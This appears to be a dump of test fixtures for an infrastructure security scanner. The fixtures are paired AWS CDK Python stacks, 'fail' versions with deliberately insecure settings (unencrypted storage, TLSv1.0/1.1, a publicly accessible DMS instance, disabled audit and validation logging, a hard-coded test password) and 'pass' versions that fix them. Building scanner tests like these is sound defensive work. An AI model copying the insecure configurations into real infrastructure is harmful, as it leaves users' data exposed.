    "content": "from aws_cdk import core\nfrom aws_cdk import aws_amazonmq as amazonmq\n\nclass AmazonMQStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon MQ broker with PubliclyAccessible set to false\n        amazonmq_broker = amazonmq.CfnBroker(\n            self,\n            \"MyAmazonMQBroker\",\n            broker_name=\"my-amazon-mq-broker\",\n            engine_type=\"ACTIVEMQ\",\n            host_instance_type=\"mq.t2.micro\",\n            publicly_accessible=False,  # Set PubliclyAccessible to false\n        )\n\napp = core.App()\nAmazonMQStack(app, \"AmazonMQStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AppSyncFieldLevelLogs/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_appsync as appsync\n\nclass AppSyncStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the GraphQL API using CfnGraphQLApi\n        graphql_api = appsync.CfnGraphQLApi(\n            self,\n            \"AppSyncGraphQLApi\",\n            name=\"MyAppSyncAPI\",\n            authentication_type=\"API_KEY\",  # You can change the authentication type\n            log_config=appsync.CfnGraphQLApi.LogConfigProperty(\n                cloud_watch_logs_role_arn=\"cloudWatchLogsRoleArn\",\n                exclude_verbose_content=False,\n            ),\n        )\n\n\napp = core.App()\nAppSyncStack(app, \"AppSyncStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AppSyncFieldLevelLogs/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_appsync as appsync\n\nclass AppSyncStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the GraphQL API using CfnGraphQLApi\n        graphql_api = appsync.CfnGraphQLApi(\n            self,\n            \"AppSyncGraphQLApi\",\n            name=\"MyAppSyncAPI\",\n            authentication_type=\"API_KEY\",  # You can change the authentication type\n            log_config=appsync.CfnGraphQLApi.LogConfigProperty(\n                cloud_watch_logs_role_arn=\"cloudWatchLogsRoleArn\",\n                exclude_verbose_content=False,\n                field_log_level=appsync.FieldLogLevel.ALL\n            ),\n        )\n\n\napp = core.App()\nAppSyncStack(app, \"AppSyncStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AppSyncLogging/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_appsync as appsync\n\nclass AppSyncStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the GraphQL API using CfnGraphQLApi\n        graphql_api = appsync.CfnGraphQLApi(\n            self,\n            \"AppSyncGraphQLApi\",\n            name=\"MyAppSyncAPI\",\n            authentication_type=\"API_KEY\",  # You can change the authentication type\n            log_config=appsync.CfnGraphQLApi.LogConfigProperty(\n                exclude_verbose_content=False,\n                field_log_level=\"fieldLogLevel\"\n            ),\n        )\n\n\napp = core.App()\nAppSyncStack(app, \"AppSyncStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AppSyncLogging/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_appsync as appsync\n\nclass AppSyncStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the GraphQL API using CfnGraphQLApi\n        graphql_api = appsync.CfnGraphQLApi(\n            self,\n            \"AppSyncGraphQLApi\",\n            name=\"MyAppSyncAPI\",\n            authentication_type=\"API_KEY\",  # You can change the authentication type\n            log_config=appsync.CfnGraphQLApi.LogConfigProperty(\n                cloud_watch_logs_role_arn=\"cloudWatchLogsRoleArn\",\n                exclude_verbose_content=False,\n                field_log_level=\"fieldLogLevel\"\n            ),\n        )\n\n\napp = core.App()\nAppSyncStack(app, \"AppSyncStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AthenaWorkgroupConfiguration/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_athena as athena\n\nclass AthenaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Athena WorkGroup\n        workgroup = athena.CfnWorkGroup(\n            self,\n            \"MyAthenaWorkGroup\",\n            name=\"my-workgroup\",\n            description=\"My Athena WorkGroup\",\n            state=\"ENABLED\",  # You can change the state\n            work_group_configuration=athena.CfnWorkGroup.WorkGroupConfigurationProperty(\n                additional_configuration=\"additionalConfiguration\",\n                bytes_scanned_cutoff_per_query=123,\n                customer_content_encryption_configuration=athena.CfnWorkGroup.CustomerContentEncryptionConfigurationProperty(\n                    kms_key=\"kmsKey\"\n                ),\n                enforce_work_group_configuration=False,\n            )\n        )\n\napp = core.App()\nAthenaStack(app, \"AthenaStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AthenaWorkgroupConfiguration/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_athena as athena\n\nclass AthenaStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Athena WorkGroup\n        workgroup = athena.CfnWorkGroup(\n            self,\n            \"MyAthenaWorkGroup\",\n            name=\"my-workgroup\",\n            description=\"My Athena WorkGroup\",\n            state=\"ENABLED\",  # You can change the state\n            work_group_configuration=athena.CfnWorkGroup.WorkGroupConfigurationProperty(\n                additional_configuration=\"additionalConfiguration\",\n                bytes_scanned_cutoff_per_query=123,\n                customer_content_encryption_configuration=athena.CfnWorkGroup.CustomerContentEncryptionConfigurationProperty(\n                    kms_key=\"kmsKey\"\n                ),\n                enforce_work_group_configuration=True,\n            )\n        )\n\napp = core.App()\nAthenaStack(app, \"AthenaStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AuroraEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass MyDBClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define RDS Aurora Serverless DB cluster\n        my_db_cluster = rds.CfnDBCluster(\n            self, 'MyDBCluster',\n            engine='aurora',  # Change this to your desired engine type\n            engine_mode='serverless',\n            storage_encrypted=False,\n            # Other properties for your DB cluster\n        )\n\napp = core.App()\nMyDBClusterStack(app, \"MyDBClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/AuroraEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_rds as rds\n\nclass MyDBClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define RDS Aurora Serverless DB cluster\n        my_db_cluster = rds.CfnDBCluster(\n            self, 'MyDBCluster',\n            engine='aurora',  # Change this to your desired engine type\n            engine_mode='serverless',\n            storage_encrypted=True,\n            # Other properties for your DB cluster\n        )\n\napp = core.App()\nMyDBClusterStack(app, \"MyDBClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/BackupVaultEncrypted/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_backup as backup\n\nclass MyBackupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a Backup Vault with the specified encryption key ARN\n        backup_vault = backup.CfnBackupVault(\n            self,\n            \"MyBackupVault\",\n            name=\"MyBackupVault\",\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/BackupVaultEncrypted/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_backup as backup\n\nclass MyBackupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Replace 'your-encryption-key-arn' with the actual KMS key ARN you want to use\n        encryption_key_arn = 'your-encryption-key-arn'\n\n        # Create a Backup Vault with the specified encryption key ARN\n        backup_vault = backup.CfnBackupVault(\n            self,\n            \"MyBackupVault\",\n            name=\"MyBackupVault\",\n            encryption_key_arn=encryption_key_arn,\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudFrontTLS12/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass MyCloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                viewer_certificate=cloudfront.CfnDistribution.ViewerCertificateProperty(\n                    cloudfront_default_certificate=False,\n                    minimum_protocol_version='TLSv1.1'  # Define the minimum supported TLS version\n                ),\n                # Other distribution configuration properties\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack(app, \"MyCloudFrontDistributionStack\")\napp.synth()\n\nclass MyCloudFrontDistributionStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                viewer_certificate=cloudfront.CfnDistribution.ViewerCertificateProperty(\n                    cloudfront_default_certificate=False,\n                    minimum_protocol_version='TLSv1.0'  # Define the minimum supported TLS version\n                ),\n                # Other distribution configuration properties\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack2(app, \"MyCloudFrontDistributionStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudFrontTLS12/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass MyCloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                viewer_certificate=cloudfront.CfnDistribution.ViewerCertificateProperty(\n                    cloudfront_default_certificate=False,\n                    minimum_protocol_version='TLSv1.2'  # Define the minimum supported TLS version\n                ),\n                # Other distribution configuration properties\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack(app, \"MyCloudFrontDistributionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudTrailLogValidation/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudtrail as cloudtrail\nfrom aws_cdk import aws_iam as iam\n\nclass CloudTrailStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS CloudTrail trail using CfnTrail\n        trail = cloudtrail.CfnTrail(\n            self,\n            \"MyCloudTrail\",\n            is_logging=True,\n            enable_log_file_validation=False,\n            management_events=[\n                cloudtrail.ReadWriteType.WRITE_ONLY,\n            ],\n            include_global_service_events=True,\n        )\n\napp = core.App()\nCloudTrailStack(app, \"CloudTrailStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudTrailLogValidation/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudtrail as cloudtrail\nfrom aws_cdk import aws_iam as iam\n\nclass CloudTrailStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS CloudTrail trail using CfnTrail\n        trail = cloudtrail.CfnTrail(\n            self,\n            \"MyCloudTrail\",\n            is_logging=True,\n            enable_log_file_validation=True,  # Enable log file validation\n            management_events=[\n                cloudtrail.ReadWriteType.WRITE_ONLY,\n            ],\n            include_global_service_events=True,\n        )\n\napp = core.App()\nCloudTrailStack(app, \"CloudTrailStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudWatchLogGroupKMSKey/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_logs as logs\n\nclass MyBadLogGroupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a CloudWatch Logs log group without specifying KMS key\n        log_group = logs.LogGroup(\n            self,\n            \"MyBadLogGroup\",\n            log_group_name=\"MyLogGroupName\",\n            retention=logs.RetentionDays.ONE_MONTH,  # Set the retention policy as needed\n            # KMS key is not specified\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudWatchLogGroupKMSKey/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_logs as logs\n\nclass MyLogGroupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a CloudWatch Logs log group with KMS key ID\n        log_group = logs.LogGroup(\n            self,\n            \"MyLogGroup\",\n            log_group_name=\"MyLogGroupName\",\n            retention=logs.RetentionDays.ONE_MONTH,  # Set the retention policy as needed\n            kms_key=1,  # Specify the KMS key\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudWatchLogGroupRetention/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_logs as logs\n\nclass MyLogGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudWatch Logs Log Group with Retention Period\n        logs.CfnLogGroup(\n            self, 'MyLogGroup',\n            log_group_name='my-log-group',\n        )\n\napp = core.App()\nMyLogGroupStack(app, \"MyLogGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudWatchLogGroupRetention/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_logs as logs\n\nclass MyLogGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudWatch Logs Log Group with Retention Period\n        logs.CfnLogGroup(\n            self, 'MyLogGroup',\n            log_group_name='my-log-group',\n            retention_in_days=30  # Replace with your desired retention period in days\n            # Other properties for your Log Group\n        )\n\napp = core.App()\nMyLogGroupStack(app, \"MyLogGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudfrontDistributionEncryption/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass MyCloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudFront Distribution with ViewerProtocolPolicy set to allow_all\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                default_cache_behavior=cloudfront.CfnDistribution.DefaultCacheBehaviorProperty(\n                    viewer_protocol_policy='allow-all'\n                ),\n                # Add other properties for the distribution config as needed\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack(app, \"MyCloudFrontDistributionStack\")\napp.synth()\n\nclass MyCloudFrontDistributionStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudFront Distribution with CacheBehavior and ViewerProtocolPolicy\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                cache_behaviors=[\n                    cloudfront.CfnDistribution.CacheBehaviorProperty(\n                        path_pattern='/path-to-cache',\n                        target_origin_id='my-target-origin-id',\n                        viewer_protocol_policy='allow-all'\n                    )\n                ],\n                # Other distribution configuration properties\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack2(app, \"MyCloudFrontDistributionStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudfrontDistributionEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass MyCloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudFront Distribution with ViewerProtocolPolicy set to allow_all\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                default_cache_behavior=cloudfront.CfnDistribution.DefaultCacheBehaviorProperty(\n                    viewer_protocol_policy='abc'\n                ),\n                # Add other properties for the distribution config as needed\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack(app, \"MyCloudFrontDistributionStack\")\napp.synth()\n\nclass MyCloudFrontDistributionStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudFront Distribution with CacheBehavior and ViewerProtocolPolicy\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                cache_behaviors=[\n                    cloudfront.CfnDistribution.CacheBehaviorProperty(\n                        path_pattern='/path-to-cache',\n                        target_origin_id='my-target-origin-id',\n                    )\n                ],\n                # Other distribution configuration properties\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack2(app, \"MyCloudFrontDistributionStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudfrontDistributionLogging/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass MyCloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudFront Distribution with logging settings\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack(app, \"MyCloudFrontDistributionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudfrontDistributionLogging/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudfront as cloudfront\n\nclass MyCloudFrontDistributionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudFront Distribution with logging settings\n        distribution = cloudfront.CfnDistribution(\n            self, 'MyCloudFrontDistribution',\n            distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty(\n                logging=cloudfront.CfnDistribution.LoggingProperty(\n                    bucket='arn:aws:s3:::my-cloudfront-logs-bucket'  # Replace with your S3 bucket ARN\n                ),\n                # Other distribution configuration properties\n            )\n        )\n\napp = core.App()\nMyCloudFrontDistributionStack(app, \"MyCloudFrontDistributionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudtrailEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudtrail as cloudtrail\n\nclass MyCloudTrailTrailStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudTrail Trail with a specific KMS Key ID\n        cloudtrail.CfnTrail(\n            self, 'MyCloudTrail',\n        )\n\napp = core.App()\nMyCloudTrailTrailStack(app, \"MyCloudTrailTrailStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudtrailEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudtrail as cloudtrail\n\nclass MyCloudTrailTrailStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudTrail Trail with a specific KMS Key ID\n        cloudtrail.CfnTrail(\n            self, 'MyCloudTrail',\n            kms_key_id='arn:aws:kms:REGION:ACCOUNT_ID:key/KMS_KEY_ID',  # Replace with your KMS Key ID ARN\n            # Other properties for your CloudTrail Trail\n        )\n\napp = core.App()\nMyCloudTrailTrailStack(app, \"MyCloudTrailTrailStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudtrailMultiRegion/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudtrail as cloudtrail\n\nclass MyCloudTrailStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudTrail Trail with IsMultiRegionTrail set to true\n        cloudtrail.Trail(\n            self, 'MyCloudTrail',\n            is_multi_region_trail=False,\n            # Other properties as needed for your CloudTrail Trail\n        )\n\napp = core.App()\nMyCloudTrailStack(app, \"MyCloudTrailStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CloudtrailMultiRegion/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_cloudtrail as cloudtrail\n\nclass MyCloudTrailStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define CloudTrail Trail with IsMultiRegionTrail set to true\n        cloudtrail.Trail(\n            self, 'MyCloudTrail',\n            is_multi_region_trail=True,\n            # Other properties as needed for your CloudTrail Trail\n        )\n\napp = core.App()\nMyCloudTrailStack(app, \"MyCloudTrailStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CodeBuildProjectEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_codebuild as codebuild\n\nclass MyCodeBuildProjectStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a CodeBuild project with S3 artifacts and encryption disabled\n        my_project = codebuild.Project(\n            self, 'MyCodeBuildProject',\n            project_name='MyProject',\n            source=codebuild.Source.git_hub(owner='owner', repo='repo'),\n            artifacts=codebuild.Artifacts(\n                type=codebuild.ArtifactsType.S3,\n                encryption_disabled=True\n            ),\n            environment=codebuild.BuildEnvironment(build_image=codebuild.LinuxBuildImage.STANDARD_5_0),\n        )\n\napp = core.App()\nMyCodeBuildProjectStack(app, \"MyCodeBuildProjectStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/CodeBuildProjectEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_codebuild as codebuild\n\nclass MyCodeBuildProjectStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a CodeBuild project with S3 artifacts and encryption disabled\n        my_project = codebuild.Project(\n            self, 'MyCodeBuildProject',\n            project_name='MyProject',\n            source=codebuild.Source.git_hub(owner='owner', repo='repo'),\n            artifacts=codebuild.Artifacts(\n                type=codebuild.ArtifactsType.S3,\n                encryption_disabled=False\n            ),\n            environment=codebuild.BuildEnvironment(build_image=codebuild.LinuxBuildImage.STANDARD_5_0),\n        )\n\napp = core.App()\nMyCodeBuildProjectStack(app, \"MyCodeBuildProjectStack\")\napp.synth()\n\nclass MyCodeBuildProjectStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define a CodeBuild project with S3 artifacts and encryption disabled\n        my_project = codebuild.Project(\n            self, 'MyCodeBuildProject',\n            project_name='MyProject',\n            source=codebuild.Source.git_hub(owner='owner', repo='repo'),\n            artifacts=codebuild.Artifacts(\n                encryption_disabled=True\n            ),\n            environment=codebuild.BuildEnvironment(build_image=codebuild.LinuxBuildImage.STANDARD_5_0),\n        )\n\napp = core.App()\nMyCodeBuildProjectStack2(app, \"MyCodeBuildProjectStack2\")\napp.synth()"
  },
  {
    "path": "cdk_integration_tests/src/python/DAXEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dax as dax\n\nclass DAXClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a DAX cluster\n        dax_cluster = dax.CfnCluster(\n            self, \"MyDAXCluster\",\n            cluster_name=\"MyDAXCluster\",\n            description=\"My DAX Cluster\",\n            iam_role_arn=\"arn:aws:iam::123456789012:role/DAXServiceRole\",\n            node_type=\"dax.r5.large\",\n            replication_factor=2,\n        )\n\napp = core.App()\nDAXClusterStack(app, \"DAXClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DAXEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dax as dax\n\nclass DAXClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a DAX cluster\n        dax_cluster = dax.CfnCluster(\n            self, \"MyDAXCluster\",\n            cluster_name=\"MyDAXCluster\",\n            description=\"My DAX Cluster\",\n            iam_role_arn=\"arn:aws:iam::123456789012:role/DAXServiceRole\",\n            node_type=\"dax.r5.large\",\n            replication_factor=2,\n            sse_specification=dax.CfnCluster.SSESpecificationProperty(\n                enabled=True,  # Enable server-side encryption\n                kms_key_id=\"arn:aws:kms:us-east-1:123456789012:key/your-kms-key-id\"\n            )\n        )\n\napp = core.App()\nDAXClusterStack(app, \"DAXClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DMSReplicationInstancePubliclyAccessible/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dms as dms\n\nclass MyDMSReplicationInstanceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define DMS Replication Instance with PubliclyAccessible set to False\n        dms.ReplicationInstance(\n            self, 'MyDMSReplicationInstance',\n            replication_instance_identifier='MyReplicationInstance',\n            allocated_storage=100,\n            engine_version='3.4.3',\n            publicly_accessible=True  # Set PubliclyAccessible to False\n            # Add other properties as needed for your replication instance\n        )\n\napp = core.App()\nMyDMSReplicationInstanceStack(app, \"MyDMSReplicationInstanceStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DMSReplicationInstancePubliclyAccessible/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dms as dms\n\nclass MyDMSReplicationInstanceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define DMS Replication Instance with PubliclyAccessible set to False\n        dms.ReplicationInstance(\n            self, 'MyDMSReplicationInstance',\n            replication_instance_identifier='MyReplicationInstance',\n            allocated_storage=100,\n            engine_version='3.4.3',\n            publicly_accessible=False  # Set PubliclyAccessible to False\n            # Add other properties as needed for your replication instance\n        )\n\napp = core.App()\nMyDMSReplicationInstanceStack(app, \"MyDMSReplicationInstanceStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DocDBAuditLogs/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_docdb as docdb\n\nclass DocDBStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the DocDB Cluster Parameter Group\n        db_parameter_group = docdb.CfnDBClusterParameterGroup(\n            self,\n            \"DocDBClusterParameterGroup\",\n            description=\"Custom DocDB Cluster Parameter Group\",\n            family=\"docdb4.0\",\n            parameters={\n                \"audit_logs\": \"disabled\",\n            }\n        )\n\napp = core.App()\nDocDBStack(app, \"DocDBStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DocDBAuditLogs/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_docdb as docdb\n\nclass DocDBStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define the DocDB Cluster Parameter Group\n        db_parameter_group = docdb.CfnDBClusterParameterGroup(\n            self,\n            \"DocDBClusterParameterGroup\",\n            description=\"Custom DocDB Cluster Parameter Group\",\n            family=\"docdb4.0\",\n            parameters={\n                \"audit_logs\": \"enabled\",\n            }\n        )\n\napp = core.App()\nDocDBStack(app, \"DocDBStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DocDBEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_docdb as docdb\n\nclass MyDocDBClusterStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon DocumentDB cluster with storage encryption disabled\n        docdb_cluster = docdb.CfnDBCluster(\n            self,\n            \"MyDocDBCluster\",\n            db_cluster_identifier=\"my-docdb-cluster\",\n            master_username=\"admin\",\n            master_user_password=\"mypassword\", # checkov:skip=CKV_SECRET_6 test secret\n            availability_zones=[\"us-east-1a\", \"us-east-1b\"],  # Specify the availability zones\n            port=27017,  # Specify the port as needed\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DocDBEncryption/pass.py",
